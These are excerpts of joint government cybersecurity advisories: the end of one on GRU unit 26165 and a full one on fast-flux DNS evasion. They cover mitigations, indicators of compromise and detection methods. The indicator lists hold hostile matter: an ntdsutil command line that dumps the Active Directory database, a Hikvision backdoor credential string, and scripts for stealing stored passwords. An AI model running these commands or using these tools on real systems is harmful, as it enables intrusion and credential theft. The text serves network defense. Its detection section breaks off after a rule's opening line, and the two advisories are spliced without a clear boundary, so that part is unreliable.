• Use MFA with strong factors, such as passkeys or PKI smartcards, and require regular re-authentication [D3-MFA]. [11], [12] Strong authentication factors are not guessable using dictionary techniques, so they resist brute force attempts.
• Implement other mitigations for privileged accounts: including limiting the number of admin accounts, considering using hardware MFA tokens, and regularly reviewing all privileged user accounts [D3-JFAPA].
• Separate privileged accounts by role and alert on misuse of privileged accounts [D3-UAP]. For example, email administrator accounts should be different from domain administrator accounts.
• Reduce reliance on passwords; instead, consider using services like single sign-on [D3-TBA].
  • For organizations using on-premises authentication and email services, plan to disable NTLM entirely and migrate to more robust authentication processes such as PKI certificate authentication.
• Do not store passwords in Group Policy Preferences (GPP). Remove all passwords previously included in GPP and change all passwords on the corresponding accounts [D3-CH]. [13]
• Use account throttling or account lockout [D3-ANET]:
  • Throttling is preferred to lockout. Throttling progressively increases time delay between successive login attempts.
  • Account lockout can leave legitimate users unable to access their accounts and requires access to an account recovery process.
  • Account lockout can provide a malicious actor with an easy way to launch a Denial of Service (DoS).
  • If using lockout, then allowing 5 to 10 attempts before lockout is recommended.
• Use a service to check for compromised passwords before using them [D3-SPP]. For example, “Have I Been Pwned” can be used to check whether a password has been previously compromised without disclosing the potential password.
• Change all default credentials [D3-CRO] and disable protocols that use weak authentication (e.g., clear-text passwords or outdated and vulnerable authentication or encryption protocols) or do not support multi-factor authentication [D3-ACH] [D3-ET]. Always configure access controls carefully to ensure that only well-maintained and well-authenticated accounts have access. [13]

IP Camera Mitigations

The following mitigation techniques for IP cameras can be used to defend against this type of malicious activity:

• Ensure IP cameras are currently supported. Replace devices that are out of support.
• Apply security patches and firmware updates to all IP cameras [D3-SU].
• Disable remote access to the IP camera, if unnecessary [D3-ITF].
• Ensure cameras are protected by a security appliance, if possible, such as by using a firewall to prevent communication with the camera from IP addresses not on an allowlist [D3-NAM].
• If remote access to IP camera feeds is required, ensure authentication is enabled [D3-AA] and use a VPN to connect remotely [D3-ET]. Use MFA for management accounts if supported [D3-MFA].
• Disable Universal Plug and Play (UPnP), Peer-to-Peer (P2P), and Anonymous Visit features on IP cameras and routers [D3-NI].
• Turn off other ports/services not in use (e.g., FTP, web interface, etc.) [D3-ACH].
• If supported, enable authenticated RTSP access only [D3-AA].
• Review all authentication activity for remote access to make sure it is valid and expected [D3-UBA]. Investigate any unexpected or unusual activity.
• Audit IP camera user accounts to ensure they are an accurate reflection of your organization and that they are being used as expected [D3-UAP].
• Configure, tune, and monitor logging—if available—on the IP camera.

Indicators of Compromise (IOCs)

Note: Specific IoCs may no longer be actor controlled, may themselves be compromised infrastructure or email accounts, or may be shared infrastructure such as public VPN or Tor exit nodes. Care should be taken when basing triaging logs or developing detection rules on these indicators. GRU unit 26165 almost certainly uses extensive further infrastructure and TTPs not specifically listed in this report.

Utilities and scripts

Legitimate utilities

Unauthorized or unusual use of the following legitimate utilities can be an indication of a potential compromise:

• ntdsutil – A legitimate Windows executable used by threat actors to export contents of Active Directory
• wevtutil – A legitimate Windows executable used by threat actors to delete event logs
• vssadmin – A legitimate Windows executable possibly used by threat actors to make a copy of the server’s C: drive
• ADexplorer – A legitimate window executable to view, edit, and backup Active Directory Certificate Services
• OpenSSH – The Windows version of a legitimate open source SSH client
• schtasks – A legitimate Windows executable used to create persistence using scheduled tasks
• whoami – A legitimate Windows executable used to retrieve the name of the current user
• tasklist – A legitimate Windows executable used to retrieve the list of running processes
• hostname – A legitimate Windows executable used to retrieve the device name
• arp – A legitimate Windows executable used to retrieve the ARP table for mapping the network environment
• systeminfo – A legitimate Windows executable used to retrieve a comprehensive summary of device and operating system information
• net – A legitimate Windows executable used to retrieve detailed user information
• wmic – A legitimate Windows executable used to interact with Windows Management Instrumentation (WMI), such as to retrieve letters assigned to logical partitions on storage drives
• cacls – A legitimate Windows executable used to modify permissions on files
• icacls – A legitimate Windows executable used to modify permissions to files and handle integrity levels and ownership
• ssh – A legitimate Windows executable used to establish network shell connections
• reg – A legitimate Windows executable used to add to or modify the system registry 

Note: Additional heuristics are needed for effective hunting for these and other living off the land (LOTL) binaries to avoid being overwhelmed by false positives if these legitimate management tools are used regularly. See the joint guide, Identifying and Mitigating Living Off the Land Techniques, for guidance on developing a multifaceted cybersecurity strategy that enables behavior analytics, anomaly detection, and proactive hunting, which are part of a comprehensive approach to mitigating cyber threats that employ LOTL techniques.

Malicious scripts

• Certipy – An open source python tool for enumerating and abusing Active Directory Certificate Services
• Get-GPPPassword.py – An open source python script for finding insecure passwords stored in Group Policy Preferences
• ldap-dump.py – A script for enumerating user accounts and other information in Active Directory
• Hikvision backdoor string: “YWRtaW46MTEK”

Suspicious command lines

While the following utilities are legitimate, and using them with the command lines shown may also be legitimate, these command lines are often used during malicious activities and could be an indication of a compromise:

• edge.exe “-headless-new -disable-gpu”
• ntdsutil.exe “activate instance ntds” ifm “create full C:temp[a-z]{3}” quit quit
• ssh -Nf
• schtasks /create /xml

Outlook CVE Exploitation IOCs

• md-shoeb@alfathdoor[.]com[.]sa
• jayam@wizzsolutions[.]com
• accounts@regencyservice[.]in
• m.salim@tsc-me[.]com
• vikram.anand@4ginfosource[.]com
• mdelafuente@ukwwfze[.]com
• sarah@cosmicgold469[.]co[.]za
• franch1.lanka@bplanka[.]com
• commerical@vanadrink[.]com
• maint@goldenloaduae[.]com
• karina@bhpcapital[.]com
• tv@coastalareabank[.]com
• ashoke.kumar@hbclife[.]in
• 213[.]32[.]252[.]221
• 124[.]168[.]91[.]178
• 194[.]126[.]178[.]8
• 159[.]196[.]128[.]120

Commonly Used Webmail Providers

• portugalmail[.]pt
• mail-online[.]dk
• email[.]cz
• seznam[.]cz

Malicious Archive Filenames Involving CVE-2023-38831

• calc.war.zip
• news_week_6.zip
• Roadmap.zip
• SEDE-PV-2023-10-09-1_EN.zip
• war.zip
• Zeyilname.zip

Brute Forcing IP Addresses

Disclaimer: These IP addresses date June 2024 through August 2024. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Detections

Customized NTLM listener

HEADLACE shortcut

rule APT28_HEADLACE_SHORTCUT {

HEADLACE credential dialogbox phishing 

Source: US-CERT Alerts

Many networks have a gap in their defenses for detecting and blocking a malicious technique known as “fast flux.” This technique poses a significant threat to national security, enabling malicious cyber actors to consistently evade detection. Malicious cyber actors, including cybercriminals and nation-state actors, use fast flux to obfuscate the locations of malicious servers by rapidly changing Domain Name System (DNS) records. Additionally, they can create resilient, highly available command and control (C2) infrastructure, concealing their subsequent malicious operations. This resilient and fast changing infrastructure makes tracking and blocking malicious activities that use fast flux more difficult. 

The National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), Canadian Centre for Cyber Security (CCCS), and New Zealand National Cyber Security Centre (NCSC-NZ) are releasing this joint cybersecurity advisory (CSA) to warn organizations, Internet service providers (ISPs), and cybersecurity service providers of the ongoing threat of fast flux enabled malicious activities as a defensive gap in many networks. This advisory is meant to encourage service providers, especially Protective DNS (PDNS) providers, to help mitigate this threat by taking proactive steps to develop accurate, reliable, and timely fast flux detection analytics and blocking capabilities for their customers. This CSA also provides guidance on detecting and mitigating elements of malicious fast flux by adopting a multi-layered approach that combines DNS analysis, network monitoring, and threat intelligence. 

The authoring agencies recommend all stakeholders—government and providers—collaborate to develop and implement scalable solutions to close this ongoing gap in network defenses against malicious fast flux activity.

Download the PDF version of this report: Fast Flux: A National Security Threat (PDF, 841 KB).

Technical details

When malicious cyber actors compromise devices and networks, the malware they use needs to “call home” to send status updates and receive further instructions. To decrease the risk of detection by network defenders, malicious cyber actors use dynamic resolution techniques, such as fast flux, so their communications are less likely to be detected as malicious and blocked. 

Fast flux refers to a domain-based technique that is characterized by rapidly changing the DNS records (e.g., IP addresses) associated with a single domain [T1568.001]. 

Single and double flux

Malicious cyber actors use two common variants of fast flux to perform operations:

1. Single flux: A single domain name is linked to numerous IP addresses, which are frequently rotated in DNS responses. This setup ensures that if one IP address is blocked or taken down, the domain remains accessible through the other IP addresses. See Figure 1 as an example to illustrate this technique.

Figure 1: Single flux technique.

Note: This behavior can also be used for legitimate purposes for performance reasons in dynamic hosting environments, such as in content delivery networks and load balancers.

2. Double flux: In addition to rapidly changing the IP addresses as in single flux, the DNS name servers responsible for resolving the domain also change frequently. This provides an additional layer of redundancy and anonymity for malicious domains. Double flux techniques have been observed using both Name Server (NS) and Canonical Name (CNAME) DNS records. See Figure 2 as an example to illustrate this technique.

Figure 2: Double flux technique. 

Both techniques leverage a large number of compromised hosts, usually as a botnet from across the Internet that acts as proxies or relay points, making it difficult for network defenders to identify the malicious traffic and block or perform legal enforcement takedowns of the malicious infrastructure. Numerous malicious cyber actors have been reported using the fast flux technique to hide C2 channels and remain operational. Examples include:

• Bulletproof hosting (BPH) services offer Internet hosting that disregards or evades law enforcement requests and abuse notices. These providers host malicious content and activities while providing anonymity for malicious cyber actors. Some BPH companies also provide fast flux services, which help malicious cyber actors maintain connectivity and improve the reliability of their malicious infrastructure. [1]
  • Refer to ASD’s ACSC’s “Bulletproof” hosting providers: Cracks in the armour of cybercriminal infrastructure for more information on BPH providers. [2]
• Fast flux has been used in Hive and Nefilim ransomware attacks. [3], [4]
• Gamaredon uses fast flux to limit the effectiveness of IP blocking. [5], [6], [7]

The key advantages of fast flux networks for malicious cyber actors include:

• Increased resilience. As a fast flux network rapidly rotates through botnet devices, it is difficult for law enforcement or abuse notifications to process the changes quickly and disrupt their services.
• Render IP blocking ineffective. The rapid turnover of IP addresses renders IP blocking irrelevant since each IP address is no longer in use by the time it is blocked. This allows criminals to maintain resilient operations.
• Anonymity. Investigators face challenges in tracing malicious content back to the source through fast flux networks. This is because malicious cyber actors’ C2 botnets are constantly changing the associated IP addresses throughout the investigation.

Additional malicious uses

Fast flux is not only used for maintaining C2 communications, it also can play a significant role in phishing campaigns to make social engineering websites harder to block or take down. Phishing is often the first step in a larger and more complex cyber compromise. Phishing is typically used to trick victims into revealing sensitive information (such as login passwords, credit card numbers, and personal data), but can also be used to distribute malware or exploit system vulnerabilities. Similarly, fast flux is used for maintaining high availability for cybercriminal forums and marketplaces, making them resilient against law enforcement takedown efforts. 

Some BPH providers promote fast flux as a service differentiator that increases the effectiveness of their clients’ malicious activities. For example, one BPH provider posted on a dark web forum that it protects clients from being added to Spamhaus blocklists by easily enabling the fast flux capability through the service management panel (See Figure 3). A customer just needs to add a “dummy server interface,” which redirects incoming queries to the host server automatically. By doing so, only the dummy server interfaces are reported for abuse and added to the Spamhaus blocklist, while the servers of the BPH customers remain “clean” and unblocked. 

Figure 3: Example dark web fast flux advertisement.

The BPH provider further explained that numerous malicious activities beyond C2, including botnet managers, fake shops, credential stealers, viruses, spam mailers, and others, could use fast flux to avoid identification and blocking. 

As another example, a BPH provider that offers fast flux as a service advertised that it automatically updates name servers to prevent the blocking of customer domains. Additionally, this provider further promoted its use of separate pools of IP addresses for each customer, offering globally dispersed domain registrations for increased reliability.

Detection techniques

The authoring agencies recommend that ISPs and cybersecurity service providers, especially PDNS providers, implement a multi-layered approach, in coordination with customers, using the following techniques to aid in detecting fast flux activity [CISA CPG 3.A]. However, quickly detecting malicious fast flux activity and differentiating it from legitimate activity remains an ongoing challenge to developing accurate, reliable, and timely fast flux detection analytics. 

1. Leverage threat intelligence feeds and reputation services to identify known fast flux domains and associated IP addresses, such as in boundary firewalls, DNS resolvers, and/or SIEM solutions.

2. Implement anomaly detection systems for DNS query logs to identify domains exhibiting high entropy or IP diversity in DNS responses and frequent IP address rotations. Fast flux domains will frequently cycle though tens or hundreds of IP addresses per day.

3. Analyze the time-to-live (TTL) values in DNS records. Fast flux domains often have unusually low TTL values. A typical fast flux domain may change its IP address every 3 to 5 minutes.

4. Review DNS resolution for inconsistent geolocation. Malicious domains associated with fast flux typically generate high volumes of traffic with inconsistent IP-geolocation information.

5. Use flow data to identify large-scale communications with numerous different IP addresses over short periods.

6. Develop fast flux detection algorithms to identify anomalous traffic patterns that deviate from usual network DNS behavior.

7. Monitor for signs of phishing activities, such as suspicious emails, websites, or links, and correlate these with fast flux activity. Fast flux may be used to rapidly spread phishing campaigns and to keep phishing websites online despite blocking attempts.

8. Implement customer transparency and share information about detected fast flux activity, ensuring to alert customers promptly after confirmed presence of malicious activity.

Mitigations

All organizations

To defend against fast flux, government and critical infrastructure organizations should coordinate with their Internet service providers, cybersecurity service providers, and/or their Protective DNS services to implement the following mitigations utilizing accurate, reliable, and timely fast flux detection analytics. 

Note: Some legitimate activity, such as common content delivery network (CDN) behaviors, may look like malicious fast flux activity. Protective DNS services, service providers, and network defenders should make reasonable efforts, such as allowlisting expected CDN services, to avoid blocking or impeding legitimate content.

1. DNS and IP blocking and sinkholing of malicious fast flux domains and IP addresses

• Block access to domains identified as using fast flux through non-routable DNS responses or firewall rules.
• Consider sinkholing the malicious domains, redirecting traffic from those domains to a controlled server to capture and analyze the traffic, helping to identify compromised hosts within the network.
• Block IP addresses known to be associated with malicious fast flux networks.

2. Reputational filtering of fast flux enabled malicious activity

• Block traffic to and from domains or IP addresses with poor reputations, especially ones identified as participating in malicious fast flux activity.

3. Enhanced monitoring and logging

• Increase logging and monitoring of DNS traffic and network communications to identify new or ongoing fast flux activities.
• Implement automated alerting mechanisms to respond swiftly to detected fast flux patterns.
• Refer to ASD’s ACSC joint publication, Best practices for event logging and threat detection, for further logging recommendations.

4. Collaborative defense and information sharing

• Share detected fast flux indicators (e.g., domains, IP addresses) with trusted partners and threat intelligence communities to enhance collective defense efforts. Examples of indicator sharing initiatives include CISA’s Automated Indicator Sharing or sector-based Information Sharing and Analysis Centers (ISACs) and ASD’s Cyber Threat Intelligence Sharing Platform (CTIS) in Australia.
• Participate in public and private information-sharing programs to stay informed about emerging fast flux tactics, techniques, and procedures (TTPs). Regular collaboration is particularly important because most malicious activity by these domains occurs within just a few days of their initial use; therefore, early discovery and information sharing by the cybersecurity community is crucial to minimizing such malicious activity. [8]

5. Phishing awareness and training

• Implement employee awareness and training programs to help personnel identify and respond appropriately to phishing attempts.
• Develop policies and procedures to manage and contain phishing incidents, particularly those facilitated by fast flux networks.
• For more information on mitigating phishing, see joint Phishing Guidance: Stopping the Attack Cycle at Phase One.

Network defenders

The authoring agencies encourage organizations to use cybersecurity and PDNS services that detect and block fast flux. By leveraging providers that detect fast flux and implement capabilities for DNS and IP blocking, sinkholing, reputational filtering, enhanced monitoring, logging, and collaborative defense of malicious fast flux domains and IP addresses, organizations can mitigate many risks associated with fast flux and maintain a more secure environment. 

However, some PDNS providers may not detect and block malicious fast flux activities. Organizations should not assume that their PDNS providers block malicious fast flux activity automatically and should contact their PDNS providers to validate coverage of this specific cyber threat. 

For more information on PDNS services, see the 2021 joint cybersecurity information sheet from NSA and CISA about Selecting a Protective DNS Service. [9] In addition, NSA offers no-cost cybersecurity services to Defense Industrial Base (DIB) companies, including a PDNS service. For more information, see NSA’s DIB Cybersecurity Services and factsheet. CISA also offers a Protective DNS service for federal civilian executive branch (FCEB) agencies. See CISA’s Protective Domain Name System Resolver page and factsheet for more information.